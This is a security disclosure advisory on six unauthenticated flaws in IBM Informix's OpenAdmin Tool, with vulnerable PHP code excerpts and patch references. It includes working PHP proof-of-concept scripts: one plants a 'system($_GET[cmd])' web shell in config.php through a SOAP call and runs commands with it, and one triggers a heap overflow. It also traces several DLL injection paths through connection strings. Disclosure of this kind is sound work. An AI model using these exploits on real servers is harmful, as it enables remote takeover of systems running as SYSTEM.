SSD Advisory – IBM Informix Dynamic Server and Informix Open Admin Tool Multiple Vulnerabilities

blogs.securiteam.com/index.php/archives/3210

SSD / Maor Schwartz May 23, 2017

Vulnerabilities Summary
The following advisory describes six (6) vulnerabilities found in Informix Dynamic Server and Informix Open Admin Tool.

IBM Informix Dynamic Server Exceptional, low maintenance online transaction processing (OLTP) data server for enterprise and workgroup computing.

IBM Informix Dynamic Server has many features that cater to a variety of user groups, including developers and administrators. One of the strong features of IDS is the low administration cost. IDS is well known for its hands-free administration. To make server administration even easier, a new open source, platform-independent tool called OpenAdmin Tool (OAT) is now available to IDS users. The OAT includes a graphical interface for administrative tasks and performance analysis tools.

Vulnerabilities:

1. Unauthentication static PHP code injection that leads to remote code execution
2. Heap buffer overflow
3. Remote DLL Injection that leads to remote code execution (1)
4. Remote DLL Injection that leads to remote code execution (2)
5. Remote DLL Injection that leads to remote code execution (3)
6. Remote DLL Injection that leads to remote code execution (4)

Credit
An independent security researcher has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
IBM has released patches to address those vulnerabilities and issued the following CVE's:

- CVE-2016-2183
- CVE-2017-1092

For more Information – http://www-01.ibm.com/support/docview.wss?uid=swg22002897

Vulnerabilities Details
IBM Informix Dynamic Server installs a PHP enable Apache server as a Windows Service ("Apache_for_OAT") which listens on public port 8080 (tcp/http) for incoming requests to the OpenAdmin web panel. It runs with NT AUTHORITY\SYSTEM privileges.

Unauthentication static PHP code injection that leads to remote code execution
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication static PHP code injection by invoking *welcomeService.php* which offers a SOAP interface.

The *welcomeServer.php* class suffers of a static PHP code injection into the "*saveHomePage*" method. Arbitrary code can be injected into '*config.php*', which is accessible to remote users. Given this, a remote attacker could execute arbitrary code/commands with the privileges of the target service.

Vulnerable code – *C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\welcome\welcomeService.php*

```
...
<?php
[..]

$ini = ini_set("soap.wsdl_cache_enabled","0");

require_once("welcomeServer.php");

$server = new SoapServer("welcome.wsdl");
$server->setClass("welcomeServer");
if (isset($HTTP_RAW_POST_DATA))
{
$request = $HTTP_RAW_POST_DATA;
} else
{
$request = file_get_contents('php://input');
}

$server->handle($request);
?>
...
```

If we will look into *saveHomePage()* method inside
C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\welcome\welcomeServer.php:

```
...
/**
* Save the selected home page in the config.php file.
*/
public function saveHomePage ($new_home_page)  <---------------------------------------
{
$this->idsadmin->load_lang("admin");
$conf_vars = $this->idsadmin->get_config("*");
// create backup of config file
$src=$conf_vars['HOMEDIR']."/conf/config.php";
$dest=$conf_vars['HOMEDIR']."/conf/BAKconfig.php";
copy($src,$dest);
// open the config file
if (! is_writable($src))
{
trigger_error($this->idsadmin->lang("SaveCfgFailure"). " $src");
return;
}
$fd = fopen($src,'w+'); <------------------------------ [*]
// write out the config
fputs($fd,"<?php \n");
foreach ($conf_vars as $k => $v)
{
if ($k == "HOMEPAGE")
{
$v = $new_home_page; <----------------------------------- [**]
}
else if ($k == "CONNDBDIR" || $k == "HOMEDIR")
{
// Replace backslashes in paths with forward slashes
$this->idsadmin->in[$k] = str_replace('\\', '/', $this->idsadmin->in[$k]);
/* idsdb00494581: An extra '"' gets written to $CONF['CONNDBDIR'] in config.php
* silent install in /vobs/idsadmin/idsadmin/install/index.php:saveDefaultConfig() writes the above line
* based on $conndbdir = addslashes(substr(@$_SERVER['argv'][3],11)); TODO: fix the initial writing into config.php (Windows only issue)
*/
if ($v[strlen($v)-1] == '"') {
$v = substr($v, 0, -1);
}
}
$out = "\$CONF['{$k}']=\"{$v}\";#{$this->idsadmin->lang($k)}\n"; <--------------------------- [***]
fputs($fd,$out); <-------------------------------------- [****]
}
fputs($fd,"?>\n");
fclose($fd);
return $new_home_page;
}
...
```

Note that *$new_home_page* is the unique parameter of a SOAP request and it is controlled;

The resulting file could look like this:

```
...
<?php
$CONF['LANG']="en_US";#The default language for the OAT pages.
$CONF['BASEURL']="http://WIN-PF2VMDT4MVO:8080/openadmin";#The URL where OAT is installed in this format: http://servername:port/location.
$CONF['HOMEDIR']="C:/Program Files (x86)/IBM Informix Software Bundle/OAT/Apache_2.2.22/htdocs/openadmin/";#The directory for the OAT installation.
$CONF['CONNDBDIR']="C:\Program Files (x86)\IBM Informix Software Bundle\OAT\OAT_conf";#The directory for the OAT connections database. Specify a secure
directory that is not under the document directory for the web server.
$CONF['HOMEPAGE']="";system($_GET[cmd]);//";#The page to use as the OAT home page.
$CONF['PINGINTERVAL']="300";#The length of time (in seconds) between updates of the server status. The server status is shown on the Health Center > Dashboard >
Group Summary page.
$CONF['ROWSPERPAGE']="25";#The default number of rows per page to display when data is shown in a table format.
$CONF['SECURESQL']="on";#Require login credentials for the SQL ToolBox.
$CONF['INFORMIXCONTIME']="20";#The length of time (in seconds) that OAT attempts to connect to the database server before returning an error
(INFORMIXCONTIME).
$CONF['INFORMIXCONRETRY']="3";#The number of times that OAT attempts to connect to the database server during the Informix connect time
(INFORMIXCONRETRY).
$CONF['INFORMIXDIR']="C:\Program Files (x86)\IBM Informix Software Bundle";#MISSING LANG FILE ITEM INFORMIXDIR
?>
...
```

config.php is not protected so we can execute *system()* through a GET request.

Proof of Concept

```
<?php

error_reporting(0);
$host = $argv[1];
$port = 8080;

$shell = htmlentities("\";system(\$_GET[cmd]);//");

$data='
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Welcome">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:saveHomePage soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <new_home_page xsi:type="xsd:string">'.$shell.'</new_home_page>
      </urn:saveHomePage>
   </soapenv:Body>
</soapenv:Envelope>
';
$pk="POST /openadmin/services/welcome/welcomeService.php HTTP/1.1\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: text/xml;charset=UTF-8
\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "SOAPAction: \"urn:QBEAction\"\r\n".
    "Connection: Close\r\n\r\n".
    $data;

$fp = fsockopen($host,$port,$e,$err,5);

fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
//echo $out."\n";

$pk="GET /openadmin/conf/config.php?cmd=whoami HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";

$fp = fsockopen($host,$port,$e,$err,5);

fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out."\n";
?>
```

Heap buffer overflow
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication heap buffer overflow. By submitting connection parameters to *index.php*, through the *'server'* property, it is possible to trigger a heap buffer overflow vulnerability into the underlying PHP Informix extension (*php_pdo_informix.dll*).

When attaching *WinDbg* to the *httpd.exe* sub-process, it shows:

```
(1580.68c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=007b5360 ebx=04701bb0 ecx=007b5274 edx=00000276 esi=01010101 edi=046fe310
eip=007b14b5 esp=01f8f630 ebp=047677cc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
php_pdo_informix+0x14b5:
007b14b5 894614          mov     dword ptr [esi+14h],eax ds:002b:01010115=15ff012e
```

esi is controlled by the attacker and could be used to execute arbitrary code or to create denial of service conditions

```
0:002> lm vm php_pdo_informix
start    end        module name
014f0000 014fa000   php_pdo_informix   (export symbols)       C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
    Loaded symbol image file: C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
    Image path: C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
    Image name: php_pdo_informix.dll
    Timestamp:        Mon Jun 15 17:13:57 2009 (4A36E3C5)
    CheckSum:         00015E71
    ImageSize:        0000A000
    File version:     5.2.4.4
    Product version:  5.2.4.0
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      The PHP Group
    ProductName:      PHP php_pdo_informix.dll
    InternalName:     php_pdo_informix.dll
    OriginalFilename: php_pdo_informix.dll
    ProductVersion:   5.2.4
    FileVersion:      5.2.4.4
    PrivateBuild:     5.2.4.4
    SpecialBuild:     5.2.4.4
    FileDescription:  pdo_informix
    LegalCopyright:   Copyright © 1997-2007 The PHP Group
    LegalTrademarks:  PHP
    Comments:         Thanks to Rick McGuire, Dan Scott, Krishna Raman, Kellen Bombardier
```

Proof of Concept

```
<?php
/*
example connection string:
informix:host=127.0.0.1;service=7360;database=sysmaster;protocol=onsoctcp;server=[0X01 X 69000]
*/

error_reporting(0);
$host = $argv[1];
$port = 8080;

$data="PASSWORD=*&USERNAME=*&SERVER=".str_repeat("\x01",69000)."&HOST=127.0.0.1&PORT=7360&IDSPROTOCOL=onsoctcp&TENANT_DBOWNER=&TENANT
$pk="POST /openadmin/index.php?act=login&do=testconn HTTP/1.1\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: application/x-www-form-urlencoded\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;

$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out."\n";
?>
```

Remote DLL Injection that leads to remote code execution (1)
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

by submitting connection parameters to *index.php*, setting the '*act*' parameter to '*login*' and the '*do*' one to '*testconn*', it is possible to inject arbitrary statements into a connection string for the underlying Informix database.

The *__construct()* method of the *PDO_OAT.php* library passing them to *PDO::__construct()* without prior sensitization

Given this it is possible to inject the "*TRANSLATIONDLL*" connection parameter and to point it to an arbitrary dll from a remote network share, prepared by the attacker. If the dll entry point contains malicious code, this will be executed instantly. This can be done ex. through the '*HOST*' parameter of a *POST* request.

Vulnerable code – *C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\modules\login.php*

```
...
function testconn($internal=false)
{
$state = 1;
$statemessage="Online";
```

```
$servername = $this->idsadmin->in['SERVER'];<-------------------------------------- [*]
$host = $this->idsadmin->in['HOST']; <-----------------------------------------
$port = $this->idsadmin->in['PORT']; <------------------------------------------
$protocol = $this->idsadmin->in['IDSPROTOCOL']; <-----------------------------------
// The below distinction (sysmaster/sysadmin) is needed to avoid the error (-570:Cannot reference an external ANSI database.) when a tenant owner's permissions are being verified.
// The error happens when connecting to sysmaster and issuing the query (below, joining sysadmin:ph_allow_list and <tenant_db>:sysusers) to check against sysusers on an ansi db
if (isset($this->idsadmin->in['TENANT_DBOWNER']) && ($this->idsadmin->in['TENANT_DBOWNER'] == 1 || $this->idsadmin->in['TENANT_DBOWNER'] == true)) {
$dbname = "sysadmin";
} else {
$dbname = "sysmaster";
}
$user = $this->idsadmin->in['USERNAME']; <--------------------------------------
$passwd = $this->idsadmin->in['PASSWORD']; <----------------------------

$envvars = (isset($this->idsadmin->in['ENVVARS']))? $this->idsadmin->in['ENVVARS'] : null;

require_once (ROOT_PATH."lib/PDO_OAT.php");
try {
$tdb = new PDO_OAT($this->idsadmin,$servername,$host,$port,$protocol,$dbname,"",$envvars,$user,$passwd); <----------------------- [**]
} catch(PDOException $e) {
$message=preg_split("/:/",$e->getMessage());
$statemessage= $message[sizeof($message)-1];
$statemessage="{$this->idsadmin->lang('ConnectionFailed')} {$statemessage}";
$state=3;
}
if (isset($this->idsadmin->in['TENANT_DBOWNER']) && ($this->idsadmin->in['TENANT_DBOWNER'] == 1 || $this->idsadmin->in['TENANT_DBOWNER'] == 'true'))
{
if ($state == 3) {
if ($internal) {
return $statemessage;
} else {
$tdb=null;
echo $statemessage;
die();
}
}

$sql = "SELECT COUNT(*) as nameexists "
   . "FROM sysadmin:ph_allow_list al, {$this->idsadmin->in['TENANT_DBNAME']}:sysusers su "
   . "WHERE al.name = '{$this->idsadmin->in['USERNAME']}' "
   . "AND al.name = su.username "
   . "AND su.usertype IN ('D','R') "
   . "AND al.perm_list LIKE '%tenant%';";

try {
$stmt = $tdb->query($sql,false,true);
    } catch (PDOException $e) {
    $err_code = $e->getCode();
    $err_msg = $e->getMessage();
    $statemessage = "{$this->idsadmin->lang('ConnectionFailed')} {$err_code}:{$err_msg}";
    if ($internal) {
return $statemessage;
} else {
$tdb=null;
echo $statemessage;
die();
}
    }

    $row = $stmt->fetch();
    $stmt->closeCursor();

    if ( $row['NAMEEXISTS'] == 0 ) {
    $statemessage = "{$this->idsadmin->lang('InsufficientPrivs')}";
    }

    if ($internal) {
return $statemessage;
} else {
$tdb=null;
echo $statemessage;
die();
}
}
$tdb=null;
echo $statemessage;
```

```
die();
}
...
```

Let’s look into *C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\lib\PDO_OAT.php*

```
...
function __construct(&$idsadmin,$servername,$host,$port,$protocol,$dbname="sysmaster",$locale="",$envvars=null,$username="",$password="")
{
$this->idsadmin=&$idsadmin;
$this->idsadmin->load_lang("database");
$this->dbname = $dbname;
$informixdir = $this->idsadmin->get_config("INFORMIXDIR");
$dsn = self::getDSN($servername,$host,$port,$protocol,$informixdir,$dbname,$locale,$envvars); <---------------------- [***]
putenv("INFORMIXCONTIME={$this->idsadmin->get_config("INFORMIXCONTIME",20)}");
putenv("INFORMIXCONRETRY={$this->idsadmin->get_config("INFORMIXCONRETRY",3)}");

parent::__construct($dsn,$username,utf8_decode($password)); <----------------------------------- [*****]
}

static function getDSN ($servername,$host,$port,$protocol,$informixdir,$dbname="sysmaster",$locale="",$envvars=null)
{
$dsn = "informix:host={$host}"; <------------------------------------ [****]
$dsn .= ";service={$port}";
$dsn .= ";database={$dbname}";
$dsn .= ";protocol={$protocol}";
$dsn .= ";server={$servername}";
if ( substr(PHP_OS,0,3) != "WIN" )
{
$libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR")? "dylib":"so";
$dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
$dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
}

if (!is_null($envvars) && $envvars != "" )
{
// add envvars to connection string
$dsn .= ";$envvars";
}

if ( $locale != "" )
{
// CLIENT_LOCALE should always be UTF-8 version of databse locale
$client_locale = substr($locale,0,strrpos($locale,".")) . ".UTF8";
$dsn .= ";CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};";
}
return $dsn;
}
...
```

At [***] the *getDSN()* function is called
At [****] and following various parameters are concatenated into a connection string without prior sanitization and set to *$dsn*
At [*****] the resulting connection string it’s passed to *PDO::__construct()*, resulting in the dll to be loaded instantly.

Remote DLL Injection that leads to remote code execution (2)
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

By submitting a SOAP request to *oliteService.php*, specifying ex. the ‘*canConnectToIDS*‘ method, it is possible to inject arbitrary parameters into a database connection string for the underlying Informix database.

It is possible to inject ex. the ‘*TRANSLATIONDLL*‘ parameter and, if this parameter points to a dll into an existing remote network share, the dll will be injected into the remote Apache process. If malicious code is contained into the dll entry point, this will be executed instantly.

Vulnerable code is located inside the *getDBConnection()* function of the underlying *oliteServer.php* PHP class, where connection parameters are concatenated without prior sanitization.

Vulnerable code – *C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\olite\oliteService.php*

```
...
<?php
[..]

$ini = ini_set("soap.wsdl_cache_enabled","0");

require_once("oliteServer.php");

$server = new SoapServer("olite.wsdl");
$server->setClass("oliteServer");
if (isset($HTTP_RAW_POST_DATA))
{
$request = $HTTP_RAW_POST_DATA;
} else
{
$request = file_get_contents('php://input');
}

$server->handle($request);
?>
...
```

The SOAP interface can be interrogated without prior authentication, Let's take a look into '*canConnectToIDS*' method inside *C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\olite\oliteServer.php*

```
...
/**
* Verify that a connection to the server can be made.
* @return true if a new PDO can be created and server version is >= 11, false otherwise
*/
function canConnectToIDS($server, $host, $port, $protocol, $username, $password, $lang="en_US")
{
$this->setOATLiteLang($lang);
$sql = "SELECT DBINFO('version','major') AS vers FROM sysha_type ";
$this->handlingPDOException = TRUE;
try
{
$temp = $this->doDatabaseWork($sql, "sysmaster", $server, $host, $port, $protocol, $username, $password); <------------- [1]
/* set handlingPDOException back to false in case this is used in a multi call */
$this->handlingPDOException = FALSE;
}
catch(PDOException $e)
{
return array("canConnect" => false, "message" => $e->getMessage());
}
catch(Exception $e1)
{
//error_log("Could not connect, returning false");
return array("canConnect" => false, "message" => $e1->getMessage());
}
//error_log(var_export($temp));
//error_log("temp: " . var_export($temp[0]['VERS'], true));
if($temp[0]['VERS'] < 11)
{
return array("canConnect" => false, "message" => $this->idsadmin->lang('ServerVersionLessThan11'));
}
else
{
return array("canConnect" => true, "message" => "");
}
}
...

```

$server, $host, $port, $protocol are received from the SOAP request and they are fully controlled;
at [1] doDatabaseWork() is called, then look:

```
...
/**
* Runs query on specified database
* @return array containing all selected records
*/
private function doDatabaseWork($sel, $dbname="sysmaster", $serverName, $host, $port, $protocol, $user, $password,
$timeout = 10, $exceptions=false, $locale=NULL)
{
$ret = array();
if ( $this->useSameConnection == null )
$db = $this->getDBConnection($dbname, $serverName, $host, $port, $protocol, $user, $password, $timeout, $locale); <--------------------- [2]
else
$db = $this->useSameConnection;

while (1 == 1)
{
$stmt = $db->query($sel); // not required as this is using the PDO->query not the $idsadmin->db->query ,false,$exceptions,$locale);

$err = $db->errorInfo();
if ( $err[1] != 0 )
{
trigger_error("{$err[1]} - {$err[2]}",E_USER_ERROR);
}
while ($row = $stmt->fetch(PDO::FETCH_ASSOC) )
{
$ret[] = $row;
}

$err = $db->errorInfo();

if ( $err[2] == 0 )
{
$stmt->closeCursor();
break;
}
else
{
$err = "Error: {$err[2]} - {$err[1]}";
$stmt->closeCursor();
trigger_error($err,E_USER_ERROR);
continue;
}
}
return $ret;
}
...
```

At [2] getDBConnection() is called with controlled parameters, finally look:

```
...
/**
* Gets connection to specified database
*/
function getDBConnection($dbname, $serverName, $host, $port, $protocol, $user, $password, $timeout = 10, $locale = null)
{
//$INFORMIXCONTIME=2;
$INFORMIXCONRETRY=10;
settype($timeout, 'integer');

putenv("INFORMIXCONTIME={$timeout}");
putenv("INFORMIXCONRETRY={$INFORMIXCONRETRY}");

$dsn .= "informix:host={$host}"; <------------------------------------ [3]
$dsn .= ";service={$port}"; <----------------------------------
$dsn .= ";database={$dbname}"; <---------------------------------------
$dsn .= ";protocol={$protocol}"; <---------------------------------
$dsn .= ";server={$serverName}"; <-------------------------------
$db = null;

if(substr(PHP_OS,0,3) != "WIN")
{
$informixdir = $this->idsadmin->get_config("INFORMIXDIR");
$libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR") ? "dylib" : "so";
$dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
$dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
}

if ( $locale != null )
{
$client_locale = substr($locale,0,strrpos($locale,".")) . ".UTF8";
$dsn .= ";CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};";
}

if ( $this->handlingPDOException === FALSE )
{
try {
$db = new PDO ("{$dsn}",$user,utf8_decode($password) ); <------------------------------- [4] boom!
}
catch ( PDOException $e )
{
//error_log(var_export ( $db->errorInfo() , true ) );
//trigger_error($e->getMessage(),E_USER_ERROR);
$exception = $this->parsePDOException($e->getMessage());
throw new SoapFault("{$exception['code']}",$exception['message']);
}
}
else
{
$db = new PDO ("{$dsn}",$user,$password);
}
return $db;
}
...
```

At [3] a connection string is concatenated without prior sanitization, arbitrary parameters can be injected via ';'; 'TRANSLATIONDLL' and other dangerous parameters can be specified.

At [4], the resulting connection string is passed to the PDO object, causing the dll to be loaded before the authentication is performed.

Remote DLL Injection that leads to remote code execution (3)
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

The specific flaw exists within two PHP scripts in OpenAdmin tool.

1. *MACH11Server.php* allows to insert a row into the underlying SQLite Database without prior authentication, by sending a specific SOAP request to *MACH11Service.php* and specifying the '*addServerToCache*' method.
2. *pinger.php* construct a connection string for the underlying Informix database, based on the row previously inserted. Given this it is possible to inject the '*TRANSLATIONDLL*' property into this connection string and to cause the Apache process to load the pointed dll from a remote network share controlled by the attacker.

vulnerable code – *C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\idsadmin\MACH11Server.php*

```
...
function addServerToCache ($group_num
                            , $host
                            , $port
                            , $server
                            , $idsprotocol
                            , $lat
                            , $lon
                            , $username
                            , $password
                            , $cluster_id
                            , $last_type )
{
$password = connections::encode_password($password);
$query = "INSERT INTO connections   "
              . "      ( group_num      "
              . "      , host           "
              . "      , port           "
              . "      , server         "
              . "      , idsprotocol    "
              . "      , lat            "
              . "      , lon            "
              . "      , username       "
              . "      , password       "
              . "      , cluster_id     "
              . "      , last_type )    "
              . " VALUES (  {$group_num}   "
              . "      , '{$host}'      "
              . "      , '{$port}'      "
              . "      , '{$server}'    "
              . "      , '{$idsprotocol}'"
              . "      ,  {$lat}        "
              . "      ,  {$lon}        "
              . "      , '{$username}'   "
              . "      , '{$password}'   "
              . "      ,  {$cluster_id}  "
              . "      ,  {$last_type} ) ";

        $this->doDatabaseWork ( $query );
    return $this->db->lastInsertId ( );
        //return sqlite_last_insert_rowid ( $this->db );
}
...


```

The previously empty ‘*connections*‘ table is populated with one row.

Let’s look at *C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\lib\pinger.php*

…

```
<?php
[..]

register_shutdown_function("shutdownHandler",$db);

ini_set("max_execution_time", -1);

#set the maxexecution time..
set_time_limit(-1);

ignore_user_abort(TRUE);

@header( 'Content-Type: image/gif' );
print base64_decode( 'R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==' );
ob_flush();

/**
* pinger
* get / update the status of each server in the connections db.
*/

# set the CONFDIR
define(CONFDIR,"../conf/");

```

```
require_once(CONFDIR."config.php");
$pinginterval=isset($CONF["PINGINTERVAL"]) ? $CONF["PINGINTERVAL"] : 300;

if ( ! isset($CONF['CONNDBDIR']) )
{
// error_log("Please check config.php param CONNDBDIR - it doesnt seem to be set.");
return;
}

if ( ! is_dir($CONF['CONNDBDIR']) )
{
error_log("Please check config.php param CONNDBDIR - it doesnt seem to be set to a directory.");
return;
}

$dbfile="{$CONF['CONNDBDIR']}/connections.db";

$informixdir=getenv("INFORMIXDIR");

if ( ! file_exists($dbfile) )
{
// error_log("*** Cannot find connections.db - {$dbfile} ****");
die();
}

unset($CONF);

# connect to the sqlite database.
$db = new PDO ("sqlite:{$dbfile}");
$db->setAttribute(PDO::ATTR_CASE,PDO::CASE_UPPER);

/**
* lets get our last runtime and if we are running ..
*/

$qry  = "select lastrun , isrunning from pingerinfo";
$stmt = $db->query($qry);
$row  = $stmt->fetch(PDO::FETCH_ASSOC);
$stmt->closeCursor();

if ( $row['ISRUNNING'] > 0 )
{
$timenow = time();
        if ( $timenow - $row['LASTRUN'] > 3000 )
        {
                error_log( "Reset pinger - should run next time ");
                $db->query("update pingerinfo set isrunning = 0");
        }

/* we are already running so lets just quit now */
die();
}

$timenow = time();
if ( $timenow - $row['LASTRUN'] < $pinginterval )
{
// error_log( "no need to run "."Last: ".($timenow - $row['LAST'])." - {$pinginterval}" );
die();
}

$db->query("update pingerinfo set isrunning = {$timenow} ");

// error_log ( "we better run "."Last: ".($timenow - $row['LAST'])." - {$pinginterval}" );

putenv("INFORMIXCONTIME=5");
putenv("INFORMIXCONRETRY=1");


/**
* prepare the update string.
*/
$update = $db->prepare("update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg where conn_num = :conn_num");
$update2 = $db->prepare("update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg, lastonline=:lastonline where conn_num =
:conn_num");

/**
* we need to include the lib/connections.php
* so we can access the password hooks functions.
*/

require_once 'connections.php';
/**
* lets get all our defined connections.
*/
$sql = "select * from connections order by server";
$stmt = $db->query($sql);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);

$starttime=time();
$status = "Start Time: {$starttime}\n";

foreach ( $rows as $k=>$row )
{

$now = time();
$dsn = <<<EOF
informix:host={$row['HOST']};service={$row['PORT']};database=sysmaster;server={$row['SERVER']};protocol={$row['IDSPROTOCOL']}; //<---------------------- [1]
EOF;

if ( substr(PHP_OS,0,3) != "WIN" )
{
$libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR")? "dylib":"so";
$dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
$dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
}

$statemessage="Online";
$state=1;

$user   = $row['USERNAME'];
$passwd = connections::decode_password( $row['PASSWORD'] );

try
{
$pingdb = new PDO($dsn,$user,utf8_decode($passwd)); <---------------------------------- [2]
}
catch(PDOException $e)
{
// error_log( $e->getMessage() );
$message=preg_split("/:/",$e->getMessage());
$statemessage= preg_replace("#\[.+\]#","",$message[1]);
$statemessage.=" Last Online:".lastonlineconv($row['LASTONLINE']);
$state=3;
}
[..]
...
```

at [1] a connection string is concatenated with values taken from SQLite connection table. Arbitrary properties can be specified through ";", leading to remote code execution, when [2] the PDO object is instantiated.

Remote DLL Injection that leads to remote code execution (4)
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

By contact the '*adminapiService.php*' SOAP interface and constructing a proper request to this endpoint, with the '*createSBSpace*' method specified, it possible to inject parameters into a connection string for the underlying Informix database.

vulnerable code – *C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\adminapiService.php*

```
...
<?php
[..]

    // turn of caching of the wsdl for now.
    $ini = ini_set("soap.wsdl_cache_enabled","0");

    // load our actual server.
    require_once("adminapiServer.php");

    //create our soapserver.
    $server = new SoapServer("adminapi.wsdl");

    $server->setClass("adminapiServer");
     if (isset($HTTP_RAW_POST_DATA)) {
        $request = $HTTP_RAW_POST_DATA;
    } else {
        $request = file_get_contents('php://input');
    }
    //error_log($request);
    //error_log(var_export($server,true));
    $server->handle($request);
?>
...
```

There is no check before handling request.

Let’s look into the *createSBSpace()* method from *C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\adminapiServer.php*

```
...
function createSBSpace( $connectionObj,$dbsname,$path,$size,$offset
                             ,$mpath="",$moffset="" )
    {

        if (!dbsname)
        {
            throw new SoapFault("createSBSpace","missing param dbsname");
        }

        if (!path)
        {
            throw new SoapFault("createSBSpace","missing param path");
        }

        if (!size)
        {
            throw new SoapFault("createSBSpace","missing param size");
        }

        if (!offset)
        {
            throw new SoapFault("createSBSpace","missing param offset");
        }

        $qry = "execute function ".ADMIN_API_FUNCTION." ('create sbspace' ";
        $qry .= ",'{$dbsname}'";
        $qry .= ",'{$path}'";
        $qry .= ",'{$size}'";
        $qry .= ",'{$offset}'";

        if ( $mpath )
        {
            $qry .= ",'{$mpath}'";

            if ( $moffset )
            {
                $qry .= ",'{$moffset}'";
            }
        }

        $qry .= ")";

        return $this->doDatabaseWork($connectionObj,$qry); <----------------------- [1]
    } // end createSBSpace
...
```

at [1] *doDatabaseWork()* is called with a controlled *$connectionObj* parameter.

```
...
/**
     * doDatabaseWork
     *  connectionObj = the connection details.
     *  qry = the query to execute
     */
    function doDatabaseWork($connectionObj,$qry)
    {
        require_once("soapdb.php");

        $host       = $connectionObj->host;
        $port       = $connectionObj->port;
        $servername = $connectionObj->servername;
        $user       = $connectionObj->user;
        $pass       = $connectionObj->password;
        $protocol   = $connectionObj->protocol;
        $dbname     = "sysadmin";

        $db = new soapdb($host,$port,$servername,$protocol,$dbname,$user,$pass); <-------------------------------- [2]
        $stmt = $db->query($qry);

        while ($row = $stmt->fetch() )
        {
            $ret = implode("|",$row);
        }
        return $ret;
    } // end doDatabaseWork
...
```

At [2] the '*soapdb*' class is instantiated with controlled parameters

__construct() method from *C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\soapdb.php*

```
...
/* function __construct
* constructor
*/

      function __construct($host,$port,$servername,$protocol="onsoctcp",$dbname="sysmaster",$user="",$passwd="")
      {
#$persist = array( PDO::ATTR_PERSISTENT => false);
$persist = array( PDO::ATTR_PERSISTENT => true);
putenv("INFORMIXCONTIME=3");
putenv("INFORMIXCONRETRY=1");

$informixdir= getenv("INFORMIXDIR");
$dsn = <<<EOF
informix:host={$host};service={$port};database={$dbname};server={$servername};protocol={$protocol}; <------------------------------ [3]
EOF;

      try {
          parent::__construct($dsn,$user,utf8_decode($passwd),$persist); <---------------------------- [4]
      } catch(PDOException $e) {
               throw new SoapFault("Connection Failed:","DSN:{$dsn} ERROR:{$e->getMessage()}");
      }

      } #end ___construct
...

```

